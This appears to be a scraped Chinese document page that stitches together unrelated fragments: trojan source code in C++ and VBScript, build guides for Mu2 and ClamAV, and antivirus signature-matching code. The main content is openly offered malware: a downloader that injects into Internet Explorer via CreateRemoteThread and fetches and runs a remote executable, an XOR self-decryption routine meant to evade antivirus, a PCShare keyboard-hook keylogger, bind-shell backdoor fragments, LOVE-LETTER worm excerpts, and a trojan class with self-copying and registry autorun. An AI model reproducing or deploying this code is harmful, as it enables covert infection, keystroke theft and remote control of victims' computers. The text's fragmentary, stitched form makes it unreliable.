VC无进程木马下载器源码2
C++木马

一个简单的vc++6.0下的木马源码木马源程序,包括客户端和服务端PCSshare的客户端代码:#include "stdafx.h"#include "SshWork.h"#pragma data_seg("Shared")char m_CharFileName[256] = {0};HHOOK g_hook = NULL;HHOOK g_khook = NULL;INITDLLINFO m_InitInfo = {0};BOOL m_IsOk = FALSE;#pragma data_seg()#pragma comment(linker,"/section:Shared,rws")HINSTANCE ghInstance = NULL;SshWork m_Work;BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){switch (ul_reason_for_call){case DLL_THREAD_A TTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;case DLL_PROCESS_ATTACH:ghInstance = (HINSTANCE) hModule;break;default : break;}return TRUE;}LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam){LRESULT lResult = CallNextHookEx(g_hook, nCode, wParam, lParam);//查看是否为指定进程if(!m_IsOk && m_InitInfo.m_ProcessId == GetCurrentProcessId()){//找到指定进程取消hookm_IsOk = TRUE;if(g_hook) UnhookWindowsHookEx(g_hook);//通知主进程退出HANDLE m_WaitEvent =OpenEvent(EVENT_ALL_ACCESS,FALSE,m_InitInfo.m_EventName);if(m_WaitEvent){SetEvent(m_WaitEvent);CloseHandle(m_WaitEvent);}Sleep(1000);//装载DLL到进程m_Work.m_Module = LoadLibrary(m_InitInfo.m_StartFile);if(m_Work.m_Module){m_Work.StartWork(&m_InitInfo);}}return lResult;}BOOL PlayWork(LPINITDLLINFO pInitInfo){//拷贝数据memcpy(&m_InitInfo,pInitInfo,sizeof(INITDLLINFO));//自进程启动if(pInitInfo->m_ProcessName[0] == 2){m_Work.StartWork(&m_InitInfo);return TRUE;}//检查是否已经启动if(g_hook != NULL) return FALSE;//启动HOOKg_hook = SetWindowsHookEx(WH_DEBUG, GetMsgProc, ghInstance, 0); return (g_hook != NULL);}void WriteChar(char* sText){//加锁HANDLE hMetux = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "PsKey400");if(hMetux != NULL)WaitForSingleObject(hMetux, 300);FILE* fp = fopen(m_CharFileName,"ab");if(fp != NULL){fwrite(sText,strlen(sText),1,fp);fclose(fp);}//取锁if(hMetux != NULL){ReleaseMutex(hMetux);CloseHandle(hMetux);}}LRESULT WINAPI GetKeyMsgProc(int nCode, WPARAM wParam, LPARAM lParam){LRESULT lResult = CallNextHookEx(g_khook, nCode, wParam, lParam);char key[10] = {0};BYTE buffer[256] = {0};WORD m_wchar = 0;UINT m_scan = 0;if ((lParam & 0x40000000) && (nCode == HC_ACTION)){if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>= 0x2f ) &&(wParam<= 0x100)){if (wParam == VK_RETURN){WriteChar("\r\n");}else{GetKeyboardState(buffer);m_scan = 0;ToAscii(wParam,m_scan,buffer , &m_wchar,0);key[0] = m_wchar%255;if(key[0] >= 32 && key[0] <= 126)WriteChar(key);}}}return lResult;}BOOL KeyStartMyWork(){if(g_khook != NULL) return FALSE;GetTempPath(200,m_CharFileName);strcat(m_CharFileName,"pskey.dat");g_khook = SetWindowsHookEx(WH_KEYBOARD,GetKeyMsgProc,ghInstance,0); return (g_khook != NULL);}void KeyStopMyWork(){if(g_khook != NULL) UnhookWindowsHookEx(g_khook);}。
mu2源码编译教程

mu2源码编译教程
编译Mu2源码需要以下步骤:
1. 下载源码
首先,您需要从Mu2的代码仓库中获取源代码。
您可以从GitHub上克隆源代码仓库,也可以从Mu2的官方网站上下载
源代码的压缩文件。
2. 安装编译工具
在编译Mu2源码之前,您需要安装以下编译工具:
- C++编译器(例如gcc、clang等)
- CMake工具,用于自动生成编译配置文件
- 依赖库(如Boost库、GMP库等)
3. 配置编译环境
在开始编译之前,您可以通过设置一些环境变量来配置编译
环境。
例如,您可能需要设置C++编译器的路径,设置依赖
库的路径等。
4. 生成Makefile文件
使用CMake工具,您可以生成构建系统所需的Makefile文件。
您可以运行以下命令在源代码目录中生成Makefile文件: ```
cmake .
```
5. 编译源码
一旦生成了Makefile文件,您可以使用Make命令来编译源
代码。
在源代码目录中运行以下命令:
```
make
```
6. 安装可执行文件
编译完成后,可以运行以下命令将可执行文件安装到系统中: ```
make install
```
注意:在不同的操作系统上,编译Mu2源码可能会有所不同。
上述步骤仅适用于一般的Unix/Linux系统。
如果您使用的是Windows系统,您可能需要进行额外的配置和安装工作。
请
参考Mu2的文档和相关资源以获取更多详细信息。
clamav源码编译

clamav源码编译ClamAV是一种开源的防病毒软件,可以用来检测和清除恶意软件。
以下是ClamAV源码的编译过程:1. 下载ClamAV源码包。
可以通过ClamAV官方网站或其他可靠的软件下载网站下载。
2. 解压源码包。
使用解压工具(如WinRAR)将下载的源码包解压到指定的目录中。
3. 安装编译所需的依赖项。
ClamAV编译过程中需要一些依赖库和工具,在命令行中使用适合你的操作系统的包管理器(例如apt-get、yum等)安装这些依赖项。
4. 打开命令行终端。
进入到你解压源码包的目录。
5. 执行配置命令。
在终端中输入以下命令配置编译环境:```shell./configure```如果你需要特定的配置选项,可以使用`--help`参数查看可用的选项,并使用`--with-option`进行配置。
6. 执行make命令进行编译。
在终端中输入以下命令开始编译:```shellmake```这个过程可能会需要一些时间,请耐心等待。
7. 执行make install命令进行安装。
编译完成后,在终端中输入以下命令进行安装:```shellmake install```如果没有权限执行该命令,请使用管理员权限或使用sudo命令。
8. 配置ClamAV。
在安装完成后,你需要配置ClamAV以使其适应你的需求。
可以修改配置文件(通常位于/etc/clamav/clamd.conf)来设置ClamAV的各种选项,如扫描目录、扫描模式等。
9. 更新病毒定义数据库。
在终端中执行以下命令来更新ClamAV 的病毒定义数据库:```shellfreshclam```这将从ClamAV官方服务器下载最新的病毒定义文件。
10. 启动ClamAV。
在终端中执行以下命令启动ClamAV扫描服务:```shellclamd```ClamAV将开始监视文件和目录进行病毒扫描。
这就是ClamAV源码编译的基本过程。
请根据你的需求和操作系统的不同进行相应的调整。
网上看到的一个用C语言编写的木马源程序代码大家一起学学

FARPROC PCreateProcessA;
FARPROC PPeekNamedPipe;
FARPROC PWriteFile;
FARPROC PReadFile;
FARPROC PCloseHandle;
FARPROC PCreatePipe;
FARPROC PMessageBoxA;
FARPROC PWSAStartup;
FARPROC PSocket;
FARPROC Phtons;
FARPROC Pbind;
FARPROC Plisten;
FARPROC Paccept;
FARPROC Psend;
FARPROC Precv;
PMessageBoxA = (FARPROC)Para->dwMessageBox;
nVersion = MAKEWORD(2,1);
PWSAStartup(nVersion, (LPWSADATA)&WSAData);
listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead, 0))break;
}
}
PCloseHandle(hWritePipe2);
PCloseHandle(hReadPipe1);
PCloseHandle(hReadPipe2);
memset(Para->Buff,0,4096);
木马的源代码

Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt
}"
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\\LOVE-LETTER-FOR-YOU.HTM"
Explorer\\Main\\Start
Page"," "
elseif num = 3 then
regcreate "HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Start
Page"," "
elseif num = 4 then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or
杀毒软件源代码

{ //枚举进程模块 if (EnumProcessModules(hProc,hMod,sizeof(hMod),&cbNeeded_2)) { //枚举进程模块文件名,包含全路径 if (GetModuleFileNameEx(hProc,hMod[0],ProcFile,sizeof(ProcFile))) { printf("[%5d]\t%s\n",lpidProcess[i],ProcFile); //输出进程 //可以考虑将其注释掉,这样就不会输出进程列表了 Pcount++;
fp=fopen(V_FileName,"rb"); //以二进制只读方式打开 if (fp==NULL) {
printf("File open FAIL\n"); fclose(fp); return returnvalue; }
fseek(fp,V_FileOffset,SEEK_SET); //把文件指针指向特征码在文件的偏移地址处 fread(FileContents,V_Length,1,fp);//读取长度为特征码长度的内容 cmpreturn=memcmp(V_Contents,FileContents,V_Length); //进行特征码匹配。失败返回FALSE if (cmpreturn==LOW) { printf("File Match completely\n"); //打印文件匹配消息 strcpy(name,V_FileName); //将文件名保存在全局变量name中 exit(0); } else returnvalue=FALSE; }
Visual C++ 很简单的木马代码

bResult=FALSE;
else
bResult=TRUE;
{
char pBuf[MAX_PATH];
CString m_addr;
// CString m_strSrcFile1="D:/OperateFile.exe";
// CString m_addr="D:/SVCLSV.exe"; //存放路径的变量
Visual C++编程时用到了这些功能,现在我把它组装成一个很简单的木马了.
本代码已封装成类方便代码重用 :1,自我复制.2,修改注册表自动运行.3,关闭进程.4,启动程序.5,重启关机功能.
交流
class CTrojanHorse
{
public://add code
{
ShellExecute(NULL,"open",m_ShellFile,NULL,NULL,SW_SHOWNORMAL);
}
BOOL CTrojanHorse::SetAutoRun(CString strPath)//修改注册表
{
CString str;
GetCurrentDirectory(MAX_PATH,pBuf); //获取程序的当前目录
strcat(pBuf,"\\");
strcat(pBuf,AfxGetApp()->m_pszExeName);
strcat(pBuf,".exe");
m_addr=pBuf;
if(CopyFile(m_addr,m_CopyFile,FALSE))
vc++简单的木马编写之服务端篇

vc++简单的木马编写之服务端篇珍藏版特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。
那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。
国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。
直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。
为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。
目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
VC无进程木马下载器源码2
#include <windows.h>
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"kernel32.lib")
//取消这4行的注释,可编译出2K大的文件
//#pragma comment(linker,"/OPT:NOWIN98")
//#pragma comment(linker,"/merge:.data=.text")
//#pragma comment(linker,"/merge:.rdata=.text")
//#pragma comment(linker,"/align:0x200")
#pragma comment(linker,"/ENTRY:decrpt")
#pragma comment(linker,"/subsystem:windows")
#pragma comment(linker,"/BASE:0x13150000")
//动态加载shell32.dll中的ShellExecuteA函数
HINSTANCE (WINAPI
*SHELLRUN)(HWND,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,int);
//动态加载Urlmon.dll中的UrlDownloadToFileA函数
DWORD (WINAPI *DOWNFILE)(LPCTSTR,LPCTSTR,LPCTSTR,DWORD,LPCTSTR);
//建立远程线程,并运行
HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES,
DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
void decrpt();
HANDLE processhandle;
DWORD pid;
HINSTANCE hshell,hurlmon,hkernel;// HINSTANCE与HMOUDLE是通用
// 注入使用的下载函数
void download()
{
hshell = LoadLibrary("Shell32.dll");
hurlmon = LoadLibrary("urlmon.dll");
(FARPROC&)SHELLRUN = GetProcAddress(hshell,"ShellExecuteA"); (FARPROC&)DOWNFILE =
GetProcAddress(hurlmon,"UrlDownloadToFileA");
//下载的文件自行调整
DOWNFILE(NULL,"/Thunder5.9.5.990.exe","C:\\ xunlei.exe",0,NULL);
SHELLRUN(0,"open","C:\\xunlei.exe",NULL,NULL,5);
ExitProcess(0);
}
void main()
{
char iename[MAX_PATH],iepath[MAX_PATH];
ZeroMemory(iename,sizeof(iename));
ZeroMemory(iepath,sizeof(iepath));
// 1.获取程序自身路径,启动IE进程
GetWindowsDirectory(iepath,MAX_PATH);
strncpy(iename,iepath,3);
strcat(iename,"C:\\Program Files\\Internet
Explorer\\IEXPLORE.EXE");
WinExec(iename,SW_SHOWNORMAL);
Sleep(500);
// 2.得到IE进程句柄
HWND htemp;
htemp = FindWindow("IEFrame",NULL);
GetWindowThreadProcessId(htemp,&pid);
// 3.分配内存
HMODULE Module;
LPVOID NewModule;
DWORD Size;
LPDWORD lpimagesize;
// 4.进程映像的地址
Module = GetModuleHandle(NULL);
// 5.得到内存镜像大小
_asm
{
push eax;
push ebx;
mov ebx,Module;
mov eax,[ebx+0x3c];
lea eax,[ebx+eax+0x50];
mov eax,[eax]
mov lpimagesize,eax;
pop ebx;
pop eax;
};
Size=(DWORD)lpimagesize;
// 确定起始基址和内存映像基址的位置
NewModule = VirtualAllocEx(processhandle, Module, Size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 6.写内存,创建线程,写数据
WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);
LPTHREAD_START_ROUTINE entrypoint;
__asm
{
push eax;
lea eax,download;
mov entrypoint,eax;
pop eax
}
hkernel=LoadLibrary("KERNEL32.dll");
(FARPROC&)MYINJECT=
GetProcAddress(hkernel,"CreateRemoteThread");
MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行
// 7.关闭对象
CloseHandle(processhandle);
return;
} ;
// 解密函数
void decrpt()
{
HANDLE myps;
DWORD oldAttr;
BYTE shellcode[500];
ZeroMemory(shellcode,sizeof(shellcode));
myps=GetCurrentProcess();
::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,& oldAttr);
//先把原代码,搬移到变量中保存起来
_asm
{
pushad;
lea esi,download;
lea edi,shellcode;
lea ecx,decrpt;
sub ecx,esi;
en1:
lodsb;
stosb;
dec ecx;
jne en1;
popad;
};
//解密搬回
int i;
for (i=1;i<=0xFF;i++)
{
_asm
{
pushad;
lea esi,shellcode;
lea edi,download;
lea ecx,decrpt;
sub ecx,edi;
en2:
lodsb;
mov ebx,i;
xor al,bl;
stosb;
dec ecx;
jne en2;
popad;
};
//此结构的的作用在于使一般的杀毒软件无法探测出来是病毒. __try
{
main();
return;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
};
}
return;
}。